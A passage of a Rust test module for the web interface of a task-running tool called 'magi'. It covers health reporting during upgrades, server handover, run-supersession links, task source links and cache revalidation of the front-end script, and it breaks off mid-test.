24580        let fx = Fixture::start().await;
24581        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24582
24583        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24584        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24585        progress.advance(crate::updater::Stage::Parking);
24586        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24587
24588        let health = fx.get("/api/health").await.json();
24589        assert_eq!(health["upgrade"]["stage"], "parking");
24590        assert_eq!(health["upgrade"]["from"], "0.5.1");
24591        assert_eq!(health["upgrade"]["to"], "0.5.2");
24592        let waiting_on = health["upgrade"]["waiting_on"]
24593            .as_str()
24594            .expect("waiting_on is set while parking a known run");
24595        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24596        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24597    }
24598
24599    #[tokio::test]
24600    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24601        let fx = Fixture::start().await;
24602        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24603        progress.advance(crate::updater::Stage::Done);
24604        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24605
24606        let health = fx.get("/api/health").await.json();
24607        assert_eq!(health["upgrade"]["stage"], "done");
24608        assert!(
24609            health["upgrade"]["waiting_on"].is_null(),
24610            "nothing to wait on once it is done"
24611        );
24612    }
24613
24614    /// The handover signal is seen however the race falls, and wakes its one
24615    /// waiter once per signal - nothing here can spin.
24616    #[tokio::test]
24617    async fn the_handover_signal_wakes_one_waiter_once() {
24618        let signal = Notify::new();
24619        // Signalled before anyone waits: the stored permit is not lost.
24620        signal.notify_one();
24621        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24622            .await
24623            .expect("an early signal is still seen");
24624        // One signal, one wake-up: a second wait does not resolve by itself.
24625        assert!(
24626            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24627                .await
24628                .is_err(),
24629            "a consumed signal must not wake a second time"
24630        );
24631        // Signalled while waiting.
24632        let signal = std::sync::Arc::new(signal);
24633        let waiter = tokio::spawn({
24634            let signal = std::sync::Arc::clone(&signal);
24635            async move { wait_for_handover(&signal).await }
24636        });
24637        tokio::time::sleep(Duration::from_millis(20)).await;
24638        assert!(!waiter.is_finished(), "nothing was signalled yet");
24639        signal.notify_one();
24640        tokio::time::timeout(Duration::from_secs(5), waiter)
24641            .await
24642            .expect("a late signal wakes the waiter")
24643            .expect("join");
24644    }
24645
24646    #[tokio::test]
24647    async fn health_says_how_long_a_handover_has_been_stuck() {
24648        let fx = Fixture::start().await;
24649        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24650        progress.advance(crate::updater::Stage::Replaced);
24651        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24652        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24653
24654        let health = fx.get("/api/health").await.json();
24655        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24656        assert!(stuck >= 600, "{stuck}");
24657        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24658        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24659    }
24660
24661    #[tokio::test]
24662    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24663        let home = tempfile::tempdir().expect("temp home");
24664        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24665        progress.advance(crate::updater::Stage::Parking);
24666        crate::updater::write_progress(home.path(), &progress).expect("seed");
24667        // What the second upgrade_and_restart and its handler do.
24668        let mut again = progress.clone();
24669        again.advance(crate::updater::Stage::Replaced);
24670        crate::updater::write_progress(home.path(), &again).expect("replaced");
24671        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24672        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24673        let after = crate::updater::read_progress(home.path()).expect("record");
24674        assert_eq!(after.stage, crate::updater::Stage::Parking);
24675    }
24676
24677    #[tokio::test]
24678    async fn health_does_not_call_a_live_parking_wait_stuck() {
24679        let fx = Fixture::start().await;
24680        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24681        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24682        progress.advance(crate::updater::Stage::Parking);
24683        let hours = Duration::from_secs(3 * 3600);
24684        progress.started_at = Timestamp::now() - hours;
24685        progress.updated_at = Timestamp::now() - hours;
24686        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24687        let _lease = crate::updater::LeaseGuard::enter(
24688            fx.home.path(),
24689            Some("20260905-000000-cd51".to_owned()),
24690        );
24691
24692        let health = fx.get("/api/health").await.json();
24693        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24694        assert!(health["upgrade"]["stuck_kind"].is_null());
24695        assert_eq!(health["upgrade"]["handover_alive"], true);
24696        let waiting_on = health["upgrade"]["waiting_on"]
24697            .as_str()
24698            .expect("waiting_on");
24699        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24700    }
24701
24702    fn idle_ui(home: &TempDir) -> Ui {
24703        let runs = home.path().join("runs");
24704        std::fs::create_dir_all(&runs).expect("runs dir");
24705        Ui::new(
24706            Queue::at(home.path().join("queue")),
24707            Questions::at(home.path().join("questions")),
24708            Talks::at(home.path().join("talks")),
24709            runs,
24710            home.path().to_path_buf(),
24711            PathBuf::from("/repo/magi"),
24712        )
24713        .with_launch(launch_idle)
24714    }
24715
24716    #[tokio::test]
24717    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24718        let home = TempDir::new().expect("temp home");
24719        let ui = idle_ui(&home);
24720        let lease = crate::worker::try_lease(home.path(), "scheduler")
24721            .expect("scheduler lease")
24722            .expect("free");
24723        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24724            .expect("request stop");
24725        let error = ui
24726            .start_detached_loop()
24727            .await
24728            .expect_err("transition is still live");
24729        assert_eq!(error.status, StatusCode::CONFLICT);
24730        assert!(error.message.contains("still running or stopping"));
24731        assert_eq!(
24732            crate::worker::control(home.path(), "scheduler").unwrap(),
24733            Some(crate::worker::Control::Stop)
24734        );
24735        drop(lease);
24736    }
24737
24738    #[tokio::test]
24739    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24740        let home = TempDir::new().expect("temp home");
24741        let ui = idle_ui(&home);
24742        let turns = ui
24743            .begin_talk_turn("active-chat")
24744            .expect("claim")
24745            .expect("free");
24746        let execution = crate::worker::try_lease(home.path(), "active-task")
24747            .expect("execution lease")
24748            .expect("free");
24749        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24750            .await
24751            .expect("bind loopback");
24752        let address = listener.local_addr().expect("address");
24753        let admissions = Arc::clone(&ui.admissions);
24754        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24755        let successor_started = std::sync::atomic::AtomicBool::new(false);
24756        tokio::time::timeout(
24757            Duration::from_secs(2),
24758            hand_over(home.path(), &admissions, served, || {
24759                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24760                Ok(1)
24761            }),
24762        )
24763        .await
24764        .expect("restart must not wait for execution")
24765        .expect("handover");
24766        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24767        // BSD may retain the address briefly after listener release. The real
24768        // successor uses the same bounded bind retry rather than a one-shot bind.
24769        let successor = bind_waiting(address)
24770            .await
24771            .expect("successor binds released address");
24772        assert_eq!(successor.local_addr().unwrap(), address);
24773        assert!(turns.owns(), "the chat lease survives restart");
24774        assert!(
24775            crate::worker::try_lease(home.path(), "active-task")
24776                .unwrap()
24777                .is_none()
24778        );
24779        drop(execution);
24780        drop(turns);
24781    }
24782
24783    #[tokio::test]
24784    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24785        let home = TempDir::new().expect("temp home");
24786        let ui = idle_ui(&home);
24787        let admission = ui.begin_admission().expect("admit send");
24788        let turn = ui
24789            .begin_talk_turn("active-chat")
24790            .expect("claim")
24791            .expect("free");
24792        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24793            .await
24794            .expect("bind loopback");
24795        let address = listener.local_addr().expect("address");
24796        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24797        let successor_called = std::sync::atomic::AtomicBool::new(false);
24798        let handover = hand_over(home.path(), &ui.admissions, served, || {
24799            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24800            Ok(1)
24801        });
24802        tokio::pin!(handover);
24803        // Poll exactly to the writer waiting on our admission guard. This
24804        // pins the race without sleeps or assumptions about task scheduling.
24805        std::future::poll_fn(|cx| {
24806            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24807            std::task::Poll::Ready(())
24808        })
24809        .await;
24810        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24811        assert!(
24812            ui.begin_admission().is_err(),
24813            "new ingress cannot race the drain"
24814        );
24815        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24816        drop(admission);
24817        tokio::time::timeout(Duration::from_secs(2), handover)
24818            .await
24819            .expect("only publication may delay restart")
24820            .expect("handover");
24821        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24822        assert!(
24823            turn.owns(),
24824            "the detached chat turn is not awaited or cancelled"
24825        );
24826        assert!(
24827            ui.begin_admission().is_err(),
24828            "old accepted connections stay closed"
24829        );
24830        drop(turn);
24831    }
24832
24833    #[test]
24834    fn health_worker_metadata_never_contains_payload_or_result() {
24835        let view = WorkerView::from(crate::worker::Job {
24836            id: "job".into(),
24837            sequence: 1,
24838            kind: "service".into(),
24839            key: "maintenance".into(),
24840            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24841            generation: "generation".into(),
24842            version: Some("1.2.3".into()),
24843            status: crate::worker::Status::Running,
24844            result: Some("private diagnostics".into()),
24845            pid: Some(4242),
24846            created_at: 1,
24847            finished_at: None,
24848        });
24849        let value = serde_json::to_value(view).expect("serialize public metadata");
24850        assert_eq!(value["version"], "1.2.3");
24851        assert_eq!(value["pid"], 4242);
24852        assert!(value.get("payload").is_none());
24853        assert!(value.get("result").is_none());
24854        assert!(!value.to_string().contains("private"));
24855    }
24856
24857    #[test]
24858    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24859        let home = TempDir::new().expect("temp home");
24860        let ui = idle_ui(&home);
24861        std::fs::write(
24862            home.path().join("daemon.json"),
24863            serde_json::json!({
24864                "schema": 2, "pid": 4242, "worker_protocol": 1,
24865                "updated_at": Timestamp::now().to_string(), "idle": true,
24866            })
24867            .to_string(),
24868        )
24869        .expect("status");
24870        let reading = daemon::read_status(home.path());
24871        assert!(Foreign::of(reading.as_ref()).is_none());
24872        let view = ui.runtime_loop_view(reading, &[]);
24873        assert!(view.running);
24874        assert!(view.owned);
24875    }
24876
24877    #[test]
24878    fn only_an_explicit_one_requests_a_resume() {
24879        assert!(!resume_requested(None));
24880        assert!(!resume_requested(Some("0".into())));
24881        assert!(!resume_requested(Some("".into())));
24882        assert!(resume_requested(Some("1".into())));
24883    }
24884
24885    #[test]
24886    fn an_error_is_visible_from_where_the_button_is() {
24887        // The alert used to sit in the flow under the header. On a phone
24888        // scrolled 13 500 px down to a run's action sheet that is off screen,
24889        // so tapping Resume and being told "the loop is running run b455
24890        // right now" looked exactly like a button that did nothing.
24891        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24892            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24893        assert!(
24894            alert.contains("position: fixed"),
24895            "an error about the thing under your thumb has to be visible from \
24896             where your thumb is: {alert}"
24897        );
24898        assert!(
24899            alert.contains("z-index: 25"),
24900            "above the dock (20) and the run-actions FAB (15), so neither \
24901             buries it: {alert}"
24902        );
24903        assert!(
24904            alert.contains("var(--tap)"),
24905            "and clear of the dock and the home indicator: {alert}"
24906        );
24907        // The FAB sits at the same height on the right. An error that covered
24908        // it would hide the button the operator reaches for next.
24909        assert!(
24910            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24911            "the FAB's column stays free: {alert}"
24912        );
24913    }
24914
24915    #[tokio::test]
24916    async fn an_older_attempt_says_what_replaced_it() {
24917        let fx = Fixture::start().await;
24918        let q = fx.queue();
24919        let runs = fx.runs();
24920        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24921        write_run(&runs, first, RunStatus::Stalled);
24922        write_run(&runs, second, RunStatus::Blocked);
24923
24924        let mut t = Task::new(
24925            "one task".to_owned(),
24926            "do it".to_owned(),
24927            PathBuf::from("/repo"),
24928            Source::Human,
24929        );
24930        t.runs = vec![first.to_owned(), second.to_owned()];
24931        q.put(&mut t).expect("put");
24932
24933        // Two cards with the same title and no hint which is which was the
24934        // question: "why are there two of the same, one stalled and one
24935        // blocked?" The older one now names its replacement.
24936        let rows = fx.get("/api/runs").await.json();
24937        let by = |short: &str| -> Value {
24938            rows.as_array()
24939                .unwrap()
24940                .iter()
24941                .find(|r| r["short"] == short)
24942                .cloned()
24943                .unwrap_or(Value::Null)
24944        };
24945        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24946        assert!(
24947            by("bbbb")["superseded_by"].is_null(),
24948            "the latest attempt is not superseded by anything"
24949        );
24950        // Front end: the note has to be rendered, not just carried.
24951        assert!(APP_JS.contains("run.superseded_by"));
24952        assert!(APP_JS.contains("Superseded by"));
24953    }
24954
24955    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24956        let mut t = Task::new(
24957            "one task".to_owned(),
24958            "do it".to_owned(),
24959            PathBuf::from("/repo"),
24960            Source::Human,
24961        );
24962        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24963        t.status = status;
24964        t
24965    }
24966
24967    #[test]
24968    fn source_link_picks_the_page_that_filed_the_task() {
24969        let agent = |node: &str| Source::Agent {
24970            run: "20260904-014455-ab12".to_owned(),
24971            node: node.to_owned(),
24972        };
24973        let chat = source_link(&agent("chat")).expect("chat link");
24974        assert_eq!(chat.kind, "chat");
24975        assert_eq!(chat.id, "20260904-014455-ab12");
24976        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24977        let run = source_link(&agent("implement")).expect("run link");
24978        assert_eq!(
24979            (run.kind, run.href.as_str()),
24980            ("run", "#/runs/20260904-014455-ab12")
24981        );
24982        assert_eq!(source_link(&Source::Human), None);
24983        assert_eq!(
24984            source_link(&Source::Issue {
24985                number: 3,
24986                repo: "o/r".to_owned()
24987            }),
24988            None
24989        );
24990        let odd = source_link(&Source::Agent {
24991            run: "a b/c".to_owned(),
24992            node: "chat".to_owned(),
24993        })
24994        .expect("link");
24995        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24996    }
24997
24998    #[test]
24999    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25000        assert!(
25001            !APP_JS.contains("src.node === \"chat\""),
25002            "inline href rule is back"
25003        );
25004        assert!(
25005            APP_JS.matches("sourceLinkOf(").count() >= 4,
25006            "helper must serve every page"
25007        );
25008        assert!(
25009            APP_JS.matches("openChatLink(").count() >= 3,
25010            "the run page still needs its explicit chat link"
25011        );
25012        assert!(
25013            !APP_JS.contains("const openChat = el("),
25014            "the Queue card duplicates its source label link again"
25015        );
25016        assert!(
25017            APP_JS.contains("metaKids.push(link ? el(\"a\""),
25018            "the task page must link a chat source label too"
25019        );
25020    }
25021
25022    #[test]
25023    fn task_ref_carries_the_source_link_for_a_chat_task() {
25024        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25025        t.source = Source::Agent {
25026            run: "20260904-014455-ab12".to_owned(),
25027            node: "chat".to_owned(),
25028        };
25029        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25030        let v = serde_json::to_value(&out).expect("json");
25031        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25032        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25033        assert_eq!(v["source_label"], t.source.label());
25034
25035        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25036        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25037            .expect("json");
25038        assert!(v["source_link"].is_null(), "{v}");
25039    }
25040
25041    #[test]
25042    fn task_view_serializes_source_link() {
25043        let mut t = Task::new(
25044            "t".to_owned(),
25045            "t".to_owned(),
25046            PathBuf::from("/repo"),
25047            Source::Agent {
25048                run: "20260901-000000-aaaa".to_owned(),
25049                node: "implement".to_owned(),
25050            },
25051        );
25052        t.runs.clear();
25053        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25054        assert_eq!(v["source_link"]["kind"], "run", "{v}");
25055        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
25056    }
25057
25058    #[test]
25059    fn task_view_serializes_urgent_flag() {
25060        let mut t = Task::new(
25061            "t".to_owned(),
25062            "t".to_owned(),
25063            PathBuf::from("/repo"),
25064            Source::Human,
25065        );
25066        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25067        assert_eq!(v["urgent"], false, "{v}");
25068        t.urgent = true;
25069        let v = serde_json::to_value(TaskView::from(t)).expect("json");
25070        assert_eq!(v["urgent"], true, "{v}");
25071        assert!(APP_JS.contains("task.urgent === true"));
25072    }
25073
25074    #[tokio::test]
25075    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25076        let fx = Fixture::start().await;
25077        let runs = fx.runs();
25078        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25079        write_run(&runs, old, RunStatus::Blocked);
25080        write_run(&runs, new, RunStatus::Merged);
25081        let mut t = outcome_task(&[old, new], TaskStatus::Done);
25082        fx.queue().put(&mut t).expect("put");
25083
25084        let view = fx.get(&format!("/api/runs/{old}")).await.json();
25085        let task = &view["task"];
25086        assert_eq!(task["status"], "done");
25087        assert_eq!(task["is_latest"], false);
25088        assert_eq!(task["latest"]["short"], "bbbb");
25089        assert_eq!(task["finished_by"]["id"], new);
25090        assert_eq!(task["finished_by"]["outcome"], "merged");
25091        assert_eq!(task["closed_by_hand"], false);
25092        assert_eq!(view["status"], "blocked", "the run keeps its own status");
25093        assert!(APP_JS.contains("finished_by"));
25094        assert!(APP_JS.contains("superseded by run"));
25095    }
25096
25097    #[tokio::test]
25098    async fn the_latest_run_reports_a_held_task_without_a_successor() {
25099        let fx = Fixture::start().await;
25100        let runs = fx.runs();
25101        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25102        write_run(&runs, old, RunStatus::Stalled);
25103        write_run(&runs, new, RunStatus::Blocked);
25104        let mut t = outcome_task(&[old, new], TaskStatus::Held);
25105        fx.queue().put(&mut t).expect("put");
25106
25107        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25108        assert_eq!(task["status"], "held");
25109        assert_eq!(task["is_latest"], true);
25110        assert!(task["latest"].is_null());
25111        assert!(task["finished_by"].is_null());
25112        assert_eq!(task["closed_by_hand"], false);
25113    }
25114
25115    #[tokio::test]
25116    async fn a_direct_run_has_no_task_outcome() {
25117        let fx = Fixture::start().await;
25118        let runs = fx.runs();
25119        let id = "20260901-000000-aaaa";
25120        write_run(&runs, id, RunStatus::Blocked);
25121        let view = fx.get(&format!("/api/runs/{id}")).await.json();
25122        assert!(view["task"].is_null());
25123    }
25124
25125    #[test]
25126    fn task_outcome_does_not_guess_a_finishing_run() {
25127        let a = "20260901-000000-aaaa";
25128        let b = "20260901-000000-bbbb";
25129        let c = "20260901-000000-cccc";
25130        let dir = tempfile::tempdir().expect("tempdir");
25131        write_run(dir.path(), a, RunStatus::Blocked);
25132        write_run(dir.path(), b, RunStatus::VerifiedNoop);
25133        // `c` has no record: unreadable.
25134        let read = |id: &str| read_run(dir.path(), id).ok();
25135        // Neither a blocked run nor a no-op finished the task; the newest run is
25136        // unreadable and still named.
25137        let t = outcome_task(&[a, b, c], TaskStatus::Done);
25138        let out = task_outcome(&t, a, 3, read);
25139        assert!(out.finished_by.is_none());
25140        assert!(out.closed_by_hand);
25141        let latest = out.latest.expect("latest");
25142        assert_eq!(latest.id, c);
25143        assert_eq!(latest.status, None);
25144        assert_eq!(latest.outcome, "record unreadable");
25145
25146        // A Ready run settles the task as done, so it is named as the finisher.
25147        write_run(dir.path(), c, RunStatus::Ready);
25148        let t = outcome_task(&[a, c], TaskStatus::Done);
25149        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25150        assert_eq!(out.finished_by.expect("finisher").id, c);
25151        assert!(!out.closed_by_hand);
25152
25153        // A resumed run id repeats: it is still the latest by id.
25154        let t = outcome_task(&[a, b, a], TaskStatus::Held);
25155        assert!(task_outcome(&t, a, 3, read).is_latest);
25156    }
25157
25158    #[tokio::test]
25159    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25160        // The list route has known this since the card fix above; the detail
25161        // route — what an operator actually opens from a notification about
25162        // a blocked run — did not, and went on showing a bare red BLOCKED
25163        // chip for a run a retry had already finished.
25164        let fx = Fixture::start().await;
25165        let q = fx.queue();
25166        let runs = fx.runs();
25167        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25168        write_run(&runs, first, RunStatus::Blocked);
25169        write_run(&runs, second, RunStatus::Merged);
25170
25171        let mut t = Task::new(
25172            "one task".to_owned(),
25173            "do it".to_owned(),
25174            PathBuf::from("/repo"),
25175            Source::Human,
25176        );
25177        t.runs = vec![first.to_owned(), second.to_owned()];
25178        q.put(&mut t).expect("put");
25179
25180        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25181        assert_eq!(earlier["superseded_by"], "dddd");
25182        assert_eq!(earlier["latest_attempt"]["id"], second);
25183        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25184        assert_eq!(
25185            earlier["latest_attempt"]["resolved"], true,
25186            "the run that replaced it landed, so this one reads as settled"
25187        );
25188
25189        let later = fx.get(&format!("/api/runs/{second}")).await.json();
25190        assert!(
25191            later["superseded_by"].is_null(),
25192            "the latest attempt is not superseded by anything"
25193        );
25194        assert!(
25195            later["latest_attempt"].is_null(),
25196            "the latest attempt has no later attempt of its own"
25197        );
25198
25199        // Front end: the detail page has to read the field this route now
25200        // carries, downgrade the chip, and link to the run that replaced it —
25201        // not just repeat the list card's own logic under a different name.
25202        // The link is built off `latest_attempt.id`, the server-resolved
25203        // full id, never a bare short string a client would have to guess a
25204        // full run from.
25205        assert!(APP_JS.contains("run.latest_attempt"));
25206        assert!(APP_JS.contains("data-superseded"));
25207        assert!(APP_JS.contains("#/runs/${latest.id}"));
25208    }
25209
25210    #[tokio::test]
25211    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25212        // A -> B -> C, all Blocked except the last. A's immediate successor
25213        // (superseded_by) is B, which is itself unresolved; what an operator
25214        // opening A's page actually needs is where the task's story stands
25215        // *now* - C, not B - without depending on whether C happens to be in
25216        // whatever page of /api/runs the client last cached.
25217        let fx = Fixture::start().await;
25218        let q = fx.queue();
25219        let runs = fx.runs();
25220        let (a, b, c) = (
25221            "20260901-000000-aaaa",
25222            "20260901-000000-bbbb",
25223            "20260901-000000-cccc",
25224        );
25225        write_run(&runs, a, RunStatus::Blocked);
25226        write_run(&runs, b, RunStatus::Blocked);
25227        write_run(&runs, c, RunStatus::Merged);
25228
25229        let mut t = Task::new(
25230            "retried twice".to_owned(),
25231            "do it".to_owned(),
25232            PathBuf::from("/repo"),
25233            Source::Human,
25234        );
25235        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25236        q.put(&mut t).expect("put");
25237
25238        let view = fx.get(&format!("/api/runs/{a}")).await.json();
25239        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25240        assert_eq!(
25241            view["latest_attempt"]["id"], c,
25242            "the chain's current head, not the intermediate Blocked retry"
25243        );
25244        assert_eq!(view["latest_attempt"]["resolved"], true);
25245
25246        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25247        assert_eq!(mid["latest_attempt"]["id"], c);
25248        assert_eq!(mid["latest_attempt"]["resolved"], true);
25249    }
25250
25251    #[tokio::test]
25252    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25253        let fx = Fixture::start().await;
25254        let q = fx.queue();
25255        let runs = fx.runs();
25256
25257        // Still Blocked: the task is not resolved, so the older run must not
25258        // read as settled either.
25259        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25260        write_run(&runs, still_blocked_a, RunStatus::Blocked);
25261        write_run(&runs, still_blocked_b, RunStatus::Blocked);
25262        let mut t1 = Task::new(
25263            "still stuck".to_owned(),
25264            "do it".to_owned(),
25265            PathBuf::from("/repo"),
25266            Source::Human,
25267        );
25268        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25269        q.put(&mut t1).expect("put");
25270        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25271        assert_eq!(view1["latest_attempt"]["resolved"], false);
25272        assert_eq!(view1["latest_attempt"]["status"], "blocked");
25273        assert_eq!(view1["latest_attempt"]["done"], true);
25274
25275        // Still running: the successor exists and must be reported as such.
25276        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25277        write_run(&runs, run_a, RunStatus::Blocked);
25278        write_run(&runs, run_b, RunStatus::Implementing);
25279        let mut t3 = Task::new(
25280            "retrying".to_owned(),
25281            "do it".to_owned(),
25282            PathBuf::from("/repo"),
25283            Source::Human,
25284        );
25285        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25286        q.put(&mut t3).expect("put");
25287        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25288        assert_eq!(view3["latest_attempt"]["id"], run_b);
25289        assert_eq!(view3["latest_attempt"]["resolved"], false);
25290        assert_eq!(view3["latest_attempt"]["done"], false);
25291
25292        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25293        // to check - not a confirmed finish, so this must not read as
25294        // resolved either, even though the run is done in the sense that
25295        // nothing is still running.
25296        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25297        write_run(&runs, noop_a, RunStatus::Blocked);
25298        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25299        let mut t2 = Task::new(
25300            "claims done".to_owned(),
25301            "do it".to_owned(),
25302            PathBuf::from("/repo"),
25303            Source::Human,
25304        );
25305        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25306        q.put(&mut t2).expect("put");
25307        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25308        assert_eq!(
25309            view2["latest_attempt"]["resolved"], false,
25310            "an unverified no-op claim must not read as a confirmed finish"
25311        );
25312
25313        // Front end: an unresolved successor must not carry the "finished
25314        // this work" note or the muted chip treatment.
25315        assert!(APP_JS.contains("latest.resolved"));
25316        // ...but the link to it shows as soon as it exists, labelled by state
25317        // and without the "finished" wording or the muted chip.
25318        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25319        assert!(APP_JS.contains("Latest attempt: "));
25320        assert!(APP_JS.contains("in flight"));
25321        assert!(APP_JS.contains("not resolved"));
25322    }
25323
25324    #[tokio::test]
25325    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25326        let fx = Fixture::start().await;
25327        // No cache header at all meant browsers invented their own policy,
25328        // and one did: a phone went on showing "Candidates must be folded
25329        // before deleting. Run `magi fold` first." - deleted two releases
25330        // earlier - from a deck that no longer contained the sentence. The
25331        // button it named was right there, and unreachable.
25332        let js = fx.get("/app.js").await;
25333        assert_eq!(js.status, 200);
25334        let tag = js
25335            .header("etag")
25336            .expect("an etag to revalidate against")
25337            .to_owned();
25338        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25339        assert_eq!(
25340            js.header("cache-control"),
25341            Some("no-cache, must-revalidate"),
25342            "the phone has to ask every time"
25343        );
25344
25345        // And the asking has to be cheap, or `must-revalidate` just means
25346        // "send the whole interface on every load".
25347        let again = fx
25348            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25349            .await;
25350        assert_eq!(
25351            again.status, 304,
25352            "a deck it already has costs one round trip"
25353        );
25354        assert!(again.body.is_empty(), "304 carries no body");
25355
25356        // A weakened tag from a proxy still matches; a different build does
25357        // not, which is the case that has to deliver the new interface.
25358        let weak = fx
25359            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25360            .await;
25361        assert_eq!(weak.status, 304);
25362        let stale = fx
25363            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25364            .await;
25365        assert_eq!(stale.status, 200, "an older build must be replaced");
25366        assert!(stale.body.contains("renderRunActions"));
25367    }
25368
25369    #[test]
25370    fn the_task_detail_has_an_actions_fab_and_sheet() {
25371        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25372        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25373        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25374        // Shown only on the task route, closed everywhere else.
25375        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25376        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25377        // Refreshed whenever the detail redraws, including the loading state.
25378        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25379        assert!(APP_JS.contains("renderTaskActions(null);"));
25380        // Same action renderers as the Queue card. Bound this check by the
25381        // next function, since additional task controls can grow the sheet.
25382        let (_, sheet) = APP_JS
25383            .split_once("function renderTaskActions(task) {")
25384            .expect("sheet renderer");
25385        let (body, _) = sheet
25386            .split_once("\nfunction openTaskActions() {")
25387            .expect("end of sheet renderer");
25388        assert!(body.contains("changePriority("));
